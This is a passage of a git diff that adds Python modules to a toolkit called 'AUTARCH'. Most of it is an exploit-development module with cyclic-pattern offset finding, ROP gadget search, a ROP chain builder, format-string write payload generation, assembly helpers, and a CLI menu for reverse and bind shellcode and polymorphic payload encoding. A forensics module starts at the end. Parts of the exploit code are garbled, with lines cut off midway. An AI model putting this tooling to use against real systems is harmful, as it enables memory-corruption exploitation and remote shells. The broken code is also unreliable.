hex string (e.g. '41326241'), integer, or raw string + length: pattern length to search within + + Returns: + dict with offset and matching details + """ + pattern = self._debruijn_pattern(min(int(length), 20280)) + + # Try to interpret value + search_strings = [] + + if isinstance(value, str): + value = value.strip() + + # Hex: 0x prefix or pure hex + if value.startswith('0x') or value.startswith('0X'): + hex_str = value[2:] + if len(hex_str) % 2 != 0: + hex_str = '0' + hex_str + try: + raw = bytes.fromhex(hex_str) + search_strings.append(raw.decode('ascii', errors='replace')) + # Also try reversed (little-endian) + search_strings.append(raw[::-1].decode('ascii', errors='replace')) + except (ValueError, UnicodeDecodeError): + pass + elif all(c in '0123456789abcdefABCDEF' for c in value) and len(value) >= 4: + # Pure hex without prefix + try: + raw = bytes.fromhex(value) + search_strings.append(raw.decode('ascii', errors='replace')) + search_strings.append(raw[::-1].decode('ascii', errors='replace')) + except (ValueError, UnicodeDecodeError): + pass + + # Integer + try: + int_val = int(value, 0) + for width in (4, 8): + try: + packed_le = struct.pack(f'<{"I" if width == 4 else "Q"}', int_val & (2**(width*8)-1)) + search_strings.append(packed_le.decode('ascii', errors='replace')) + packed_be = struct.pack(f'>{"I" if width == 4 else "Q"}', int_val & (2**(width*8)-1)) + search_strings.append(packed_be.decode('ascii', errors='replace')) + except (struct.error, OverflowError): + pass + except (ValueError, OverflowError): + pass + + # Direct string search + search_strings.append(value) + + elif isinstance(value, int): + for width in (4, 8): + try: + packed = struct.pack(f'<{"I" if width == 4 else "Q"}', value & (2**(width*8)-1)) + search_strings.append(packed.decode('ascii', errors='replace')) + except (struct.error, OverflowError): + pass + + # Search + for needle in search_strings: + offset = pattern.find(needle) + if offset != -1: + return { + 'offset': offset, + 'value': value if isinstance(value, str) else hex(value), + 'matched': needle, + 'matched_hex': needle.encode('ascii', errors='replace').hex(), + 'endian': 'little-endian' if search_strings.index(needle) % 2 == 1 else 'big-endian', + 'pattern_length': len(pattern), + } + + return { + 'offset': -1, + 'error': f'Value {value} not found in pattern of length {len(pattern)}', + 'value': str(value), + 'pattern_length': len(pattern), + } + + # ----------------------------------------------------------------------- + # ROP Gadget Finding + # ----------------------------------------------------------------------- + + def find_rop_gadgets(self, binary_path, gadget_type=None, max_gadgets=200): + """Find ROP gadgets in a binary. + + Args: + binary_path: path to ELF/PE binary + gadget_type: None (all), pop_ret, xchg, mov, syscall, jmp_esp, call_reg + max_gadgets: maximum gadgets to return + + Returns: + dict with list of gadgets + """ + if not os.path.isfile(binary_path): + return {'error': f'File not found: {binary_path}'} + + # Try ropper first + ropper_path = find_tool('ropper') + if ropper_path: + return self._find_gadgets_ropper(binary_path, gadget_type, max_gadgets) + + # Try ROPgadget + ropgadget_path = find_tool('ROPgadget') + if ropgadget_path: + return self._find_gadgets_ropgadget(binary_path, gadget_type, max_gadgets) + + # Fallback: objdump + regex + objdump_path = find_tool('objdump') + if objdump_path: + return self._find_gadgets_objdump(binary_path, gadget_type, max_gadgets) + + return {'error': 'No disassembler found. Install ropper, ROPgadget, or objdump.'} + + def _find_gadgets_ropper(self, binary_path, gadget_type, max_gadgets): + """Find gadgets using ropper.""" + cmd = [find_tool('ropper'), '-f', binary_path, '--nocolor'] + if gadget_type: + search_map = { + 'pop_ret': 'pop', + 'xchg': 'xchg', + 'mov': 'mov', + 'syscall': 'syscall', + 'jmp_esp': 'jmp esp', + 'call_reg': 'call', + } + search_term = search_map.get(gadget_type, gadget_type) + cmd.extend(['--search', search_term]) + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + lines = result.stdout.strip().split('\n') + except (subprocess.TimeoutExpired, FileNotFoundError): + return {'error': 'ropper execution failed'} + + gadgets = [] + for line in lines: + line = line.strip() + if not line or line.startswith('=') or line.startswith('Gadgets') or line.startswith('['): + continue + # Parse: 0xaddress: instruction; instruction; ret; + match = re.match(r'(0x[0-9a-fA-F]+):\s+(.*)', line) + if match: + addr = match.group(1) + instr = match.group(2).strip().rstrip(';').strip() + gtype = self._classify_gadget(instr) + gadgets.append({ + 'address': addr, + 'gadget': instr, + 'type': gtype, + }) + if len(gadgets) >= max_gadgets: + break + + return { + 'binary': binary_path, + 'tool': 'ropper', + 'count': len(gadgets), + 'gadgets': gadgets, + } + + def _find_gadgets_ropgadget(self, binary_path, gadget_type, max_gadgets): + """Find gadgets using ROPgadget.""" + cmd = [find_tool('ROPgadget'), '--binary', binary_path] + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + lines = result.stdout.strip().split('\n') + except (subprocess.TimeoutExpired, FileNotFoundError): + return {'error': 'ROPgadget execution failed'} + + gadgets = [] + for line in lines: + line = line.strip() + match = re.match(r'(0x[0-9a-fA-F]+)\s+:\s+(.*)', line) + if match: + addr = match.group(1) + instr = match.group(2).strip() + gtype = self._classify_gadget(instr) + if gadget_type and gtype != gadget_type: + continue + gadgets.append({ + 'address': addr, + 'gadget': instr, + 'type': gtype, + }) + if len(gadgets) >= max_gadgets: + break + + return { + 'binary': binary_path, + 'tool': 'ROPgadget', + 'count': len(gadgets), + 'gadgets': gadgets, + } + + def _find_gadgets_objdump(self, binary_path, gadget_type, max_gadgets): + """Find gadgets using objdump disassembly + regex search.""" + objdump = find_tool('objdump') + try: + result = subprocess.run( + [objdump, '-d', '-M', 'intel', binary_path], + capture_output=True, text=True, timeout=120 + ) + disasm = result.stdout + except (subprocess.TimeoutExpired, FileNotFoundError): + return {'error': 'objdump execution failed'} + + # Parse disassembly for gadget-ending instructions + gadget_endings = { + 'ret': re.compile(r'ret\s*$'), + 'syscall': re.compile(r'syscall\s*$'), + 'int 0x80': re.compile(r'int\s+0x80\s*$'), + } + + lines = disasm.split('\n') + gadgets = [] + + for i, line in enumerate(lines): + line = line.strip() + # Check if this line ends a gadget + for ending_name, ending_re in gadget_endings.items(): + instr_match = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', line) + if not instr_match: + continue + instr_text = instr_match.group(3).strip() + if not ending_re.search(instr_text): + continue + + addr = instr_match.group(1) + + # Look back up to 5 instructions for the gadget chain + chain = [] + for j in range(max(0, i - 5), i + 1): + prev = lines[j].strip() + pm = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', prev) + if pm: + chain.append(pm.group(3).strip()) + + for start_idx in range(len(chain)): + gadget_str = ' ; '.join(chain[start_idx:]) + gtype = self._classify_gadget(gadget_str) + if gadget_type and gtype != gadget_type: + continue + + # Get the address of the first instruction + lookback = lines[max(0, i - 5) + start_idx].strip() + am = re.match(r'\s*([0-9a-fA-F]+):', lookback) + gaddr = f'0x{am.group(1)}' if am else f'0x{addr}' + + gadgets.append({ + 'address': gaddr, + 'gadget': gadget_str, + 'type': gtype, + }) + if len(gadgets) >= max_gadgets: + break + if len(gadgets) >= max_gadgets: + break + if len(gadgets) >= max_gadgets: + break + + # Deduplicate + seen = set() + unique = [] + for g in gadgets: + key = g['address'] + g['gadget'] + if key not in seen: + seen.add(key) + unique.append(g) + + return { + 'binary': binary_path, + 'tool': 'objdump', + 'count': len(unique), + 'gadgets': unique, + } + + def _classify_gadget(self, gadget_str): + """Classify a gadget by its instruction pattern.""" + g = gadget_str.lower() + if re.search(r'pop\s+\w+.*ret', g): + return 'pop_ret' + if 'xchg' in g: + return 'xchg' + if 'syscall' in g or 'int 0x80' in g: + return 'syscall' + if re.search(r'jmp\s+(esp|rsp)', g): + return 'jmp_esp' + if re.search(r'call\s+(eax|ebx|ecx|edx|esi|edi|rax|rbx|rcx|rdx|rsi|rdi|r\d+)', g): + return 'call_reg' + if 'mov' in g: + return 'mov' + if 'ret' in g: + return 'ret' + return 'other' + + # ----------------------------------------------------------------------- + # ROP Chain Builder + # ----------------------------------------------------------------------- + + def build_rop_chain(self, gadgets, chain_spec): + """Assemble a ROP chain from gadgets and a chain specification. + + Args: + gadgets: list of gadget dicts (address, gadget, type) + chain_spec: list of dicts describing desired chain: + [ + {'gadget_type': 'pop_ret', 'register': 'rdi', 'value': '0x...'}, + {'gadget_type': 'pop_ret', 'register': 'rsi', 'value': '0x...'}, + {'gadget_type': 'syscall'}, + ... + ] + + Returns: + dict with chain bytes, addresses, and debug info + """ + if not gadgets: + return {'error': 'No gadgets provided'} + if not chain_spec: + return {'error': 'No chain specification provided'} + + # Index gadgets by type + by_type = {} + for g in gadgets: + gtype = g.get('type', 'other') + by_type.setdefault(gtype, []).append(g) + + chain_addrs = [] + chain_bytes = b'' + debug_lines = [] + + for step in chain_spec: + gtype = step.get('gadget_type', step.get('type', 'pop_ret')) + register = step.get('register', '').lower() + value = step.get('value', '0') + + # Find matching gadget + candidates = by_type.get(gtype, []) + if register: + # Filter by register in gadget text + reg_candidates = [g for g in candidates if register in g['gadget'].lower()] + if reg_candidates: + candidates = reg_candidates + + if not candidates: + debug_lines.append(f'[!] No gadget found for: {gtype} {register}') + continue + + gadget = candidates[0] # Use first match + addr_int = int(gadget['address'], 16) + + # Determine address width (4 or 8 bytes) + if addr_int > 0xFFFFFFFF: + addr_bytes = struct.pack(' 0xFFFFFFFF: + chain_bytes += struct.pack(' 0x{val_int:x}') + + return { + 'chain_hex': chain_bytes.hex(), + 'chain_length': len(chain_bytes), + 'addresses': chain_addrs, + 'steps': len(chain_spec), + 'matched': len(chain_addrs), + 'debug': '\n'.join(debug_lines), + 'python': self._chain_to_python(chain_bytes), + } + + def _chain_to_python(self, chain_bytes): + """Convert chain bytes to Python struct.pack() calls.""" + lines = ['from struct import pack', '', 'chain = b""'] + width = 8 if len(chain_bytes) > 4 and len(chain_bytes) % 8 == 0 else 4 + fmt = '> 16) & 0xFFFF + + addr_low = struct.pack(' 0: + payload_parts_32.append(f'%{pad}c') + payload_parts_32.append(f'%{off}$hn') + current = val + + payload_32 = addr_low.hex() + addr_high.hex() + ''.join(payload_parts_32) + results['payload_32bit'] = { + 'payload': payload_32, + 'description': f'Write 0x{value:08x} to 0x{address:08x} (32-bit, two %hn writes)', + 'addresses': f'0x{address:08x}, 0x{address + 2:08x}', + } + + # 64-bit write (write 8 bytes as four %hn writes) + words_64 = [] + for i in range(4): + word = (value >> (i * 16)) & 0xFFFF + addr_part = struct.pack(' 0: + payload_parts_64.append(f'%{pad}c') + payload_parts_64.append(f'%{off}$hn') + current = val + + addrs_hex = ''.join(w[1].hex() for w in words_64) + payload_64 = addrs_hex + ''.join(payload_parts_64) + results['payload_64bit'] = { + 'payload': payload_64, + 'description': f'Write 0x{value:016x} to 0x{address:016x} (64-bit, four %hn writes)', + } + + return results + + # ----------------------------------------------------------------------- + # Assembly / Disassembly + # ----------------------------------------------------------------------- + + def assemble(self, code, arch='x64'): + """Assemble assembly code to machine code bytes. + + Args: + code: assembly source (NASM syntax) + arch: x86, x64, arm + + Returns: + dict with hex bytes, raw length, and disassembly + """ + if not code or not code.strip(): + return {'error': 'No assembly code provided'} + + arch = arch.lower().strip() + nasm = find_tool('nasm') + objcopy = find_tool('objcopy') + + if nasm and objcopy: + return self._assemble_nasm(code, arch, nasm, objcopy) + + # Try keystone-engine + try: + import keystone + return self._assemble_keystone(code, arch) + except ImportError: + pass + + return { + 'error': 'No assembler available. Install nasm + objcopy, or pip install keystone-engine.' + } + + def _assemble_nasm(self, code, arch, nasm_path, objcopy_path): + """Assemble using NASM.""" + # Set BITS directive based on arch + bits_map = {'x86': '32', 'x64': '64', 'i386': '32', 'amd64': '64'} + bits = bits_map.get(arch, '64') + + # Prepend BITS directive if not already present + if 'bits' not in code.lower(): + code = f'BITS {bits}\n{code}' + + with tempfile.NamedTemporaryFile(suffix='.asm', mode='w', delete=False) as f: + f.write(code) + asm_path = f.name + + obj_path = asm_path.replace('.asm', '.o') + bin_path = asm_path.replace('.asm', '.bin') + + try: + # Assemble + result = subprocess.run( + [nasm_path, '-f', 'bin', '-o', bin_path, asm_path], + capture_output=True, text=True, timeout=10 + ) + if result.returncode != 0: + return {'error': f'NASM error: {result.stderr.strip()}'} + + # Read binary output + with open(bin_path, 'rb') as bf: + machine_code = bf.read() + + return { + 'hex': machine_code.hex(), + 'bytes': list(machine_code), + 'length': len(machine_code), + 'arch': arch, + 'c_array': ', '.join(f'0x{b:02x}' for b in machine_code), + 'python': 'b"' + ''.join(f'\\x{b:02x}' for b in machine_code) + '"', + } + + except subprocess.TimeoutExpired: + return {'error': 'Assembly timed out'} + finally: + for p in (asm_path, obj_path, bin_path): + try: + os.unlink(p) + except OSError: + pass + + def _assemble_keystone(self, code, arch): + """Assemble using keystone-engine.""" + import keystone + + arch_map = { + 'x86': (keystone.KS_ARCH_X86, keystone.KS_MODE_32), + 'x64': (keystone.KS_ARCH_X86, keystone.KS_MODE_64), + 'arm': (keystone.KS_ARCH_ARM, keystone.KS_MODE_ARM), + } + ks_arch, ks_mode = arch_map.get(arch, (keystone.KS_ARCH_X86, keystone.KS_MODE_64)) + + try: + ks = keystone.Ks(ks_arch, ks_mode) + encoding, count = ks.asm(code) + machine_code = bytes(encoding) + + return { + 'hex': machine_code.hex(), + 'bytes': list(machine_code), + 'length': len(machine_code), + 'arch': arch, + 'instructions': count, + 'c_array': ', '.join(f'0x{b:02x}' for b in machine_code), + 'python': 'b"' + ''.join(f'\\x{b:02x}' for b in machine_code) + '"', + } + except keystone.KsError as e: + return {'error': f'Keystone error: {e}'} + + def disassemble(self, data, arch='x64', offset=0): + """Disassemble machine code bytes to assembly. + + Args: + data: hex string or bytes + arch: x86, x64, arm + offset: base address offset + + Returns: + dict with disassembly listing + """ + if isinstance(data, str): + data = data.strip().replace(' ', '').replace('\\x', '') + try: + data = bytes.fromhex(data) + except ValueError: + return {'error': 'Invalid hex data'} + + if not data: + return {'error': 'No data to disassemble'} + + arch = arch.lower().strip() + offset = int(offset) + + # Try capstone first + try: + import capstone + return self._disasm_capstone(data, arch, offset) + except ImportError: + pass + + # Fallback to objdump + objdump = find_tool('objdump') + if objdump: + return self._disasm_objdump(data, arch, offset) + + # Last resort: manual byte-by-byte display + return self._disasm_basic(data, arch, offset) + + def _disasm_capstone(self, data, arch, offset): + """Disassemble using capstone.""" + import capstone + + arch_map = { + 'x86': (capstone.CS_ARCH_X86, capstone.CS_MODE_32), + 'x64': (capstone.CS_ARCH_X86, capstone.CS_MODE_64), + 'arm': (capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM), + } + cs_arch, cs_mode = arch_map.get(arch, (capstone.CS_ARCH_X86, capstone.CS_MODE_64)) + + md = capstone.Cs(cs_arch, cs_mode) + md.detail = False + + instructions = [] + for addr, size, mnemonic, op_str in md.disasm_lite(data, offset): + instr_bytes = data[addr - offset:addr - offset + size] + instructions.append({ + 'address': f'0x{addr:08x}', + 'bytes': instr_bytes.hex(), + 'mnemonic': mnemonic, + 'operands': op_str, + 'text': f'{mnemonic} {op_str}'.strip(), + }) + + listing = '\n'.join( + f'{i["address"]}: {i["bytes"]:<20s} {i["text"]}' + for i in instructions + ) + + return { + 'instructions': instructions, + 'listing': listing, + 'count': len(instructions), + 'arch': arch, + 'tool': 'capstone', + 'data_length': len(data), + } + + def _disasm_objdump(self, data, arch, offset): + """Disassemble using objdump.""" + objdump = find_tool('objdump') + + with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f: + f.write(data) + bin_path = f.name + + arch_map = {'x86': 'i386', 'x64': 'i386:x86-64', 'arm': 'arm'} + obj_arch = arch_map.get(arch, 'i386:x86-64') + + try: + result = subprocess.run( + [objdump, '-D', '-b', 'binary', '-m', obj_arch, + '-M', 'intel', '--adjust-vma', str(offset), bin_path], + capture_output=True, text=True, timeout=10 + ) + lines = result.stdout.strip().split('\n') + + instructions = [] + for line in lines: + match = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', line) + if match: + addr = match.group(1) + raw_bytes = match.group(2).strip() + instr = match.group(3).strip() + instructions.append({ + 'address': f'0x{addr}', + 'bytes': raw_bytes.replace(' ', ''), + 'text': instr, + }) + + listing = '\n'.join( + f'{i["address"]}: {i["bytes"]:<20s} {i["text"]}' + for i in instructions + ) + + return { + 'instructions': instructions, + 'listing': listing, + 'count': len(instructions), + 'arch': arch, + 'tool': 'objdump', + 'data_length': len(data), + } + except subprocess.TimeoutExpired: + return {'error': 'Disassembly timed out'} + finally: + try: + os.unlink(bin_path) + except OSError: + pass + + def _disasm_basic(self, data, arch, offset): + """Basic hex dump when no disassembler is available.""" + listing_lines = [] + for i in range(0, len(data), 16): + chunk = data[i:i + 16] + addr = offset + i + hex_part = ' '.join(f'{b:02x}' for b in chunk) + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + listing_lines.append(f'0x{addr:08x}: {hex_part:<48s} {ascii_part}') + + return { + 'instructions': [], + 'listing': '\n'.join(listing_lines), + 'count': 0, + 'arch': arch, + 'tool': 'hex_dump (no disassembler available)', + 'data_length': len(data), + 'note': 'Install capstone or objdump for proper disassembly.', + } + + # ----------------------------------------------------------------------- + # Hex Dump + # ----------------------------------------------------------------------- + + def hex_dump(self, data, offset=0): + """Format bytes as a hex dump with ASCII sidebar. + + Args: + data: bytes or hex string + offset: starting address offset + + Returns: + dict with formatted hex dump string + """ + if isinstance(data, str): + data = bytes.fromhex(data.replace(' ', '').replace('\\x', '')) + + lines = [] + for i in range(0, len(data), 16): + chunk = data[i:i + 16] + addr = offset + i + hex_part = ' '.join(f'{b:02x}' for b in chunk) + # Pad short lines + hex_part = f'{hex_part:<48s}' + ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk) + lines.append(f'{addr:08x} {hex_part} |{ascii_part}|') + + return { + 'dump': '\n'.join(lines), + 'length': len(data), + 'offset': offset, + } + + # ----------------------------------------------------------------------- + # CLI interface + # ----------------------------------------------------------------------- + + +def run(): + """CLI menu for exploit development toolkit.""" + dev = get_exploit_dev() + + while True: + clear_screen() + display_banner() + print(f"\n{Colors.RED}{Colors.BOLD} Exploit Development Toolkit{Colors.RESET}") + print(f"{Colors.DIM} Shellcode, encoders, ROP chains, patterns{Colors.RESET}") + print(f"\n{Colors.CYAN} 1{Colors.RESET} Shellcode Generator") + print(f"{Colors.CYAN} 2{Colors.RESET} Payload Encoder") + print(f"{Colors.CYAN} 3{Colors.RESET} Pattern Create") + print(f"{Colors.CYAN} 4{Colors.RESET} Pattern Offset") + print(f"{Colors.CYAN} 5{Colors.RESET} ROP Gadgets") + print(f"{Colors.CYAN} 6{Colors.RESET} Disassemble") + print(f"{Colors.CYAN} 0{Colors.RESET} Back") + + choice = input(f"\n{Colors.WHITE} [{Colors.RED}exploit-dev{Colors.WHITE}]> {Colors.RESET}").strip() + + if choice == '0': + break + elif choice == '1': + _cli_shellcode(dev) + elif choice == '2': + _cli_encoder(dev) + elif choice == '3': + _cli_pattern_create(dev) + elif choice == '4': + _cli_pattern_offset(dev) + elif choice == '5': + _cli_rop_gadgets(dev) + elif choice == '6': + _cli_disassemble(dev) + + +def _cli_shellcode(dev): + """CLI: Shellcode generator.""" + print(f"\n{Colors.BOLD}Available shellcode templates:{Colors.RESET}") + for sc in dev.list_shellcodes(): + print(f" {Colors.CYAN}{sc['name']}{Colors.RESET} — {sc['description']} ({sc['length']} bytes)") + + shell_type = input(f"\n{Colors.WHITE}Shell type (reverse_shell/bind_shell/execve): {Colors.RESET}").strip() or 'execve' + arch = input(f"{Colors.WHITE}Architecture (x86/x64/arm): {Colors.RESET}").strip() or 'x64' + platform = input(f"{Colors.WHITE}Platform (linux/windows): {Colors.RESET}").strip() or 'linux' + host = input(f"{Colors.WHITE}Host IP (for reverse/bind, or skip): {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Port (for reverse/bind, or skip): {Colors.RESET}").strip() + fmt = input(f"{Colors.WHITE}Output format (hex/c_array/python/nasm): {Colors.RESET}").strip() or 'hex' + + result = dev.generate_shellcode(shell_type, arch, host or None, port or None, platform, output_format=fmt) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Generated {result['length']} bytes ({result['template']}){Colors.RESET}") + print(f"{Colors.DIM}{result['description']}{Colors.RESET}") + print(f"\n{result['shellcode']}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_encoder(dev): + """CLI: Payload encoder.""" + sc_hex = input(f"\n{Colors.WHITE}Shellcode (hex): {Colors.RESET}").strip() + if not sc_hex: + return + encoder = input(f"{Colors.WHITE}Encoder (xor/aes/alphanumeric/polymorphic): {Colors.RESET}").strip() or 'xor' + key = input(f"{Colors.WHITE}Key (hex/string, or blank for random): {Colors.RESET}").strip() or None + iters = input(f"{Colors.WHITE}Iterations (default 1): {Colors.RESET}").strip() or '1' + + result = dev.encode_payload(sc_hex, encoder, key, int(iters)) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Encoded: {result['original_length']} -> {result['encoded_length']} bytes ({result['size_increase']}){Colors.RESET}") + print(f"Key: {result['key']}") + print(f"Null-free: {result['null_free']}") + print(f"\n{Colors.CYAN}Decoder Stub:{Colors.RESET}\n{result['decoder_stub']}") + print(f"\n{Colors.CYAN}Encoded payload (hex):{Colors.RESET}\n{result['encoded']}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_pattern_create(dev): + """CLI: Pattern create.""" + length = input(f"\n{Colors.WHITE}Pattern length: {Colors.RESET}").strip() + if not length: + return + result = dev.generate_pattern(int(length)) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Pattern ({result['length']} bytes):{Colors.RESET}") + print(result['pattern']) + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_pattern_offset(dev): + """CLI: Pattern offset finder.""" + value = input(f"\n{Colors.WHITE}Value to find (hex/int/string): {Colors.RESET}").strip() + if not value: + return + length = input(f"{Colors.WHITE}Pattern length (default 20000): {Colors.RESET}").strip() or '20000' + result = dev.find_pattern_offset(value, int(length)) + if result.get('offset', -1) >= 0: + print(f"\n{Colors.GREEN}[+] Found at offset: {result['offset']}{Colors.RESET}") + print(f" Matched: {result['matched']} ({result['endian']})") + else: + print(f"\n{Colors.RED}{result.get('error', 'Not found')}{Colors.RESET}") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_rop_gadgets(dev): + """CLI: ROP gadget finder.""" + binary = input(f"\n{Colors.WHITE}Binary path: {Colors.RESET}").strip() + if not binary: + return + gtype = input(f"{Colors.WHITE}Gadget type (all/pop_ret/xchg/mov/syscall/jmp_esp/call_reg): {Colors.RESET}").strip() + if gtype in ('', 'all'): + gtype = None + result = dev.find_rop_gadgets(binary, gtype) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] Found {result['count']} gadgets (via {result['tool']}){Colors.RESET}\n") + for g in result['gadgets'][:50]: + print(f" {Colors.CYAN}{g['address']}{Colors.RESET}: {g['gadget']} [{g['type']}]") + if result['count'] > 50: + print(f"\n ... and {result['count'] - 50} more") + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +def _cli_disassemble(dev): + """CLI: Disassemble hex bytes.""" + hex_data = input(f"\n{Colors.WHITE}Hex bytes: {Colors.RESET}").strip() + if not hex_data: + return + arch = input(f"{Colors.WHITE}Architecture (x86/x64/arm): {Colors.RESET}").strip() or 'x64' + result = dev.disassemble(hex_data, arch) + if 'error' in result: + print(f"\n{Colors.RED}Error: {result['error']}{Colors.RESET}") + else: + print(f"\n{Colors.GREEN}[+] {result['count']} instructions (via {result['tool']}){Colors.RESET}\n") + print(result['listing']) + + input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}") + + +# --------------------------------------------------------------------------- +# Singleton +# --------------------------------------------------------------------------- + +_instance = None + + +def get_exploit_dev() -> ExploitDev: + """Get singleton ExploitDev instance.""" + global _instance + if _instance is None: + _instance = ExploitDev() + return _instance diff --git a/modules/forensics.py b/modules/forensics.py new file mode 100644 index 0000000..5aeb5fb --- /dev/null +++ b/modules/forensics.py @@ -0,0 +1,595 @@ +"""AUTARCH Forensics Toolkit + +Disk imaging, file carving, metadata extraction, timeline building, +hash verification, and chain of custody logging for digital forensics. +""" + +DESCRIPTION = "Digital forensics & evidence analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import hashlib +import struct +import shutil +import subprocess +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any, Tuple + +try: + from core.paths import find_tool, get_data_dir +except ImportError: + def find_tool(name): + return shutil.which(name) + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional imports +try: + from PIL import Image as PILImage + from PIL.ExifTags import TAGS, GPSTAGS + HAS_PIL = True +except ImportError: + HAS_PIL = False + + +# ── File Signatures for Carving ────────────────────────────────────────────── + +FILE_SIGNATURES = [ + {'name': 'JPEG', 'ext': '.jpg', 'magic': b'\xFF\xD8\xFF', 'footer': b'\xFF\xD9', 'max_size': 50*1024*1024}, + {'name': 'PNG', 'ext': '.png', 'magic': b'\x89PNG\r\n\x1a\n', 'footer': b'IEND\xAE\x42\x60\x82', 'max_size': 50*1024*1024}, + {'name': 'GIF', 'ext': '.gif', 'magic': b'GIF8', 'footer': b'\x00\x3B', 'max_size': 20*1024*1024}, + {'name': 'PDF', 'ext': '.pdf', 'magic': b'%PDF', 'footer': b'%%EOF', 'max_size': 100*1024*1024}, + {'name': 'ZIP', 'ext': '.zip', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'RAR', 'ext': '.rar', 'magic': b'Rar!\x1a\x07', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'ELF', 'ext': '.elf', 'magic': b'\x7fELF', 'footer': None, 'max_size': 100*1024*1024}, + {'name': 'PE/EXE', 'ext': '.exe', 'magic': b'MZ', 'footer': None, 'max_size': 100*1024*1024}, + {'name': 'SQLite', 'ext': '.sqlite', 'magic': b'SQLite format 3\x00', 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'DOCX', 'ext': '.docx', 'magic': b'PK\x03\x04', 'footer': None, 'max_size': 100*1024*1024}, + {'name': '7z', 'ext': '.7z', 'magic': b"7z\xBC\xAF'\x1C", 'footer': None, 'max_size': 500*1024*1024}, + {'name': 'BMP', 'ext': '.bmp', 'magic': b'BM', 'footer': None, 'max_size': 50*1024*1024}, + {'name': 'MP3', 'ext': '.mp3', 'magic': b'\xFF\xFB', 'footer': None, 'max_size': 50*1024*1024}, + {'name': 'MP4', 'ext': '.mp4', 'magic': b'\x00\x00\x00\x18ftyp', 'footer': None, 'max_size': 1024*1024*1024}, + {'name': 'AVI', 'ext': '.avi', 'magic': b'RIFF', 'footer': None, 'max_size': 1024*1024*1024}, +] + + +# ── Chain of Custody Logger ────────────────────────────────────────────────── + +class CustodyLog: + """Chain of custody logging for forensic evidence.""" + + def __init__(self, data_dir: str): + self.log_file = os.path.join(data_dir, 'custody_log.json') + self.entries: List[Dict] = [] + self._load() + + def _load(self): + if os.path.exists(self.log_file): + try: + with open(self.log_file) as f: + self.entries = json.load(f) + except Exception: + pass + + def _save(self): + with open(self.log_file, 'w') as f: + json.dump(self.entries, f, indent=2) + + def log(self, action: str, target: str, details: str = "", + evidence_hash: str = "") -> Dict: + """Log a forensic action.""" + entry = { + 'id': len(self.entries) + 1, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'action': action, + 'target': target, + 'details': details, + 'evidence_hash': evidence_hash, + 'user': os.getenv('USER', os.getenv('USERNAME', 'unknown')) + } + self.entries.append(entry) + self._save() + return entry + + def get_log(self) -> List[Dict]: + return self.entries + + +# ── Forensics Engine ───────────────────────────────────────────────────────── + +class ForensicsEngine: + """Digital forensics toolkit.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'forensics') + os.makedirs(self.data_dir, exist_ok=True) + self.evidence_dir = os.path.join(self.data_dir, 'evidence') + os.makedirs(self.evidence_dir, exist_ok=True) + self.carved_dir = os.path.join(self.data_dir, 'carved') + os.makedirs(self.carved_dir, exist_ok=True) + self.custody = CustodyLog(self.data_dir) + self.dd = find_tool('dd') or shutil.which('dd') + + # ── Hash Verification ──────────────────────────────────────────────── + + def hash_file(self, filepath: str, algorithms: List[str] = None) -> Dict: + """Calculate file hashes for evidence integrity.""" + algorithms = algorithms or ['md5', 'sha1', 'sha256'] + + if not os.path.exists(filepath): + return {'ok': False, 'error': 'File not found'} + + try: + hashers = {alg: hashlib.new(alg) for alg in algorithms} + file_size = os.path.getsize(filepath) + + with open(filepath, 'rb') as f: + while True: + chunk = f.read(8192) + if not chunk: + break + for h in hashers.values(): + h.update(chunk) + + hashes = {alg: h.hexdigest() for alg, h in hashers.items()} + + self.custody.log('hash_verify', filepath, + f'Hashes: {", ".join(f"{k}={v[:16]}..." for k, v in hashes.items())}', + hashes.get('sha256', '')) + + return { + 'ok': True, 'file': filepath, + 'size': file_size, 'hashes': hashes + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + def verify_hash(self, filepath: str, expected_hash: str, + algorithm: str = None) -> Dict: + """Verify file against expected hash.""" + # Auto-detect algorithm from hash length + if not algorithm: + hash_len = len(expected_hash) + algorithm = {32: 'md5', 40: 'sha1', 64: 'sha256', 128: 'sha512'}.get(hash_len) + if not algorithm: + return {'ok': False, 'error': f'Cannot detect algorithm for hash length {hash_len}'} + + result = self.hash_file(filepath, [algorithm]) + if not result['ok']: + return result + + actual = result['hashes'][algorithm] + match = actual.lower() == expected_hash.lower() + + self.custody.log('hash_verify', filepath, + 